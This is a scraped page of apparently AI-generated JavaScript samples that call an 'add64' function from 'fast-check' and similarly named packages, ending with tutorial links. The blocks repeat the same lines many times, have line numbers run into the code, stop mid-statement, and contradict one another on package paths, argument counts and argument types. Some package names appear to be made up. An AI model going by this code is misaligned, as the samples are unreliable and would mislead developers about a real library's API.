Array(nCount);346for (var k=0; k<nCount; k++){347 var array = new Array(arrayExLen);348 for (var i=0; i<arrayExMidPoint-1; i++) {349 array[i] = i;350 }351 objsfh[k] = array;352}353for (var k=0; k<nCount-1; k++){354 var o = new Object();...
Using AI Code Generation
1const { add64 } = require("fast-check-monorepo");2console.log(add64(1, 2));3const { add64 } = require("fast-check-monorepo");4console.log(add64(1, 2));5const { add64 } = require("fast-check-monorepo");6console.log(add64(1, 2));7const { add64 } = require("fast-check-monorepo");8console.log(add64(1, 2));9const { add64 } = require("fast-check-monorepo");10console.log(add64(1, 2));11const { add64 } = require("fast-check-monorepo");12console.log(add64(1, 2));13const { add64 } = require("fast-check-monorepo");14console.log(add64(1, 2));15const { add64 } = require("fast-check-monorepo");16console.log(add64(1, 2));17const { add64 } = require("fast-check-monorepo");18console.log(add64(1, 2));19const { add64 } = require("fast-check-monorepo");20console.log(add64(1, 2));21const { add64 } = require("fast-check-monorepo");22console.log(add64(1, 2));23const { add
Using AI Code Generation
1const { add64 } = require('fast-check-monorepo');2console.log(add64(1, 2));3console.log(add64(1, 2, 3));4console.log(add64(1, 2, 3, 4));5console.log(add64(1, 2, 3, 4, 5));6console.log(add64(1, 2, 3, 4, 5, 6));7console.log(add64(1, 2, 3, 4, 5, 6, 7));8const { add64 } = require('fast-check-monorepo');9console.log(add64(1, 2));10console.log(add64(1, 2, 3));11console.log(add64(1, 2, 3, 4));12console.log(add64(1, 2, 3, 4, 5));13console.log(add64(1, 2, 3, 4, 5, 6));14console.log(add64(1, 2, 3, 4, 5, 6, 7));15const { add64 } = require('fast-check-monorepo');16console.log(add64(1, 2));17console.log(add64(1, 2, 3));18console.log(add64(1, 2, 3, 4));19console.log(add64(1, 2, 3, 4, 5));20console.log(add64(1, 2, 3, 4, 5, 6));21console.log(add64(1, 2, 3, 4, 5, 6, 7));22const { add64 } = require('fast-check-monorepo');23console.log(add64(1, 2));24console.log(add64(1, 2, 3));25console.log(add64(1, 2, 3, 4));26console.log(add64(1, 2, 3, 4, 5));27console.log(add64(1
Using AI Code Generation
1const { add64 } = require('fast-check');2console.log(add64(1n, 2n));3const { add64 } = require('fast-check');4console.log(add64(1n, 2n));5const { add64 } = require('fast-check');6console.log(add64(1n, 2n));7const { add64 } = require('fast-check');8console.log(add64(1n, 2n));9const { add64 } = require('fast-check');10console.log(add64(1n, 2n));11const { add64 } = require('fast-check');12console.log(add64(1n, 2n));13const { add64 } = require('fast-check');14console.log(add64(1n, 2n));15const { add64 } = require('fast-check');16console.log(add64(1n, 2n));17const { add64 } = require('fast-check');18console.log(add64(1n, 2n));19const { add64 } = require('fast-check');20console.log(add64(1n, 2n));21const { add64 } = require('fast-check');22console.log(add64(1n, 2n));23const { add64 } = require('fast-check');24console.log(add64(1n, 2n));
Using AI Code Generation
1const add64 = require('fast-check-monorepo/add64');2console.log(add64(1, 2));3const add64 = require('fast-check-monorepo/add64');4console.log(add64(1, 2));5const add64 = require('fast-check-monorepo/add64');6console.log(add64(1, 2));7const add64 = require('fast-check-monorepo/add64');8console.log(add64(1, 2));9const add64 = require('fast-check-monorepo/add64');10console.log(add64(1, 2));11const add64 = require('fast-check-monorepo/add64');12console.log(add64(1, 2));13const add64 = require('fast-check-monorepo/add64');14console.log(add64(1, 2));15const add64 = require('fast-check-monorepo/add64');16console.log(add64(1, 2));17const add64 = require('fast-check-monorepo/add64');18console.log(add64(1, 2));19const add64 = require('fast-check-monorepo/add64');20console.log(add64(1, 2));21const add64 = require('fast-check-monorepo/add64');22console.log(add64(1, 2));
Using AI Code Generation
1const { add64 } = require('fast-check-monorepo-test2');2console.log(add64(1, 2));3const { add64 } = require('fast-check-monorepo-test2');4console.log(add64(1, 2));5const { add64 } = require('fast-check-monorepo-test2');6console.log(add64(1, 2));7const { add64 } = require('fast-check-monorepo-test2');8console.log(add64(1, 2));9const { add64 } = require('fast-check-monorepo-test2');10console.log(add64(1, 2));11const { add64 } = require('fast-check-monorepo-test2');12console.log(add64(1, 2));13const { add64 } = require('fast-check-monorepo-test2');14console.log(add64(1, 2));15const { add64 } = require('fast-check-monorepo-test2');16console.log(add64(1, 2));17const { add64 } = require('fast-check-monorepo-test2');18console.log(add64(1, 2));19const { add64 } = require('fast-check-monorepo-test2');20console.log(add64(1, 2));21const { add64 } =
Using AI Code Generation
1const add64 = require('fast-check-monorepo').add64;2const result = add64(1, 2);3const add64 = require('fast-check-monorepo').add64;4const result = add64(1, 2);5const add64 = require('fast-check-monorepo').add64;6const result = add64(1, 2);7const add64 = require('fast-check-monorepo').add64;8const result = add64(1, 2);9const add64 = require('fast-check-monorepo').add64;10const result = add64(1, 2);11const add64 = require('fast-check-monorepo').add64;12const result = add64(1, 2);13const add64 = require('fast-check-monorepo').add64;14const result = add64(1, 2);15const add64 = require('fast-check-monorepo').add64;16const result = add64(1, 2);17const add64 = require('fast-check-monorepo').add64;18const result = add64(1, 2);
Using AI Code Generation
1const add64 = require('fast-check-monorepo/lib/64bits').add64;2console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));3const add64 = require('fast-check-monorepo').add64;4console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));5const add64 = require('fast-check-monorepo').add64;6console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));7const add64 = require('fast-check-monorepo').add64;8console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));9const add64 = require('fast-check-monorepo').add64;10console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));11const add64 = require('fast-check-monorepo').add64;12console.log(add64('0x1234567890abcdef', '0x1234567890abcdef'));13const add64 = require('fast-check-monorepo').add64;14console.log(add64('0x1234567890abcdef
Using AI Code Generation
1const { add64 } = require('fast-check');2const { add64: add64_2 } = require('fast-check');3const a = "0xffffffffffffffff";4const b = "0xffffffffffffffff";5const c = "0xffffffffffffffff";6const d = "0xffffffffffffffff";7const e = "0xffffffffffffffff";8const f = "0xffffffffffffffff";9const g = "0xffffffffffffffff";10const h = "0xffffffffffffffff";11const i = "0xffffffffffffffff";12const j = "0xffffffffffffffff";13const result = add64(add64(add64(add64(add64(add64(add64(add64(add64(add64(a, b), c), d), e), f), g), h), i), j));14console.log(result);15const { add64 } = require('fast-check');16const { add64: add64_2 } = require('fast-check');17const a = "0xffffffffffffffff";18const b = "0xffffffffffffffff";19const c = "0xffffffffffffffff";20const d = "0xffffffffffffffff";21const e = "0xffffffffffffffff";22const f = "0xffffffffffffffff";23const g = "0xffffffffffffffff";24const h = "0xffffffffffffffff";25const i = "0xffffffffffffffff";26const j = "0xffffffffffffffff";27const result = add64(add64(add64(add64(add64(add64(add64(add64(add64(add64(a, b), c), d), e), f), g), h), i), j));28console.log(result);29const { add64 } = require('fast-check');30const { add64: add64_2 } = require('fast-check');31const a = "0xffffffffffffffff";32const b = "0xffffffffffffffff";33const c = "0xffffffffffffffff";34const d = "0xffffffffffffffff";35const e = "0xffffffffffffffff";36const f = "0xffffffffffffffff";37const g = "0xffffffffffffffff";38const h = "0xffffffffffffffff";39const i = "0xffffffffffffffff";40const j = "0xffffffffffffffff";
Automation Testing Tutorials
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LambdaTest Learning Hubs:
- JUnit Tutorial
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- Playwright Tutorial
- Cypress Tutorial
- PyTest Tutorial
YouTube
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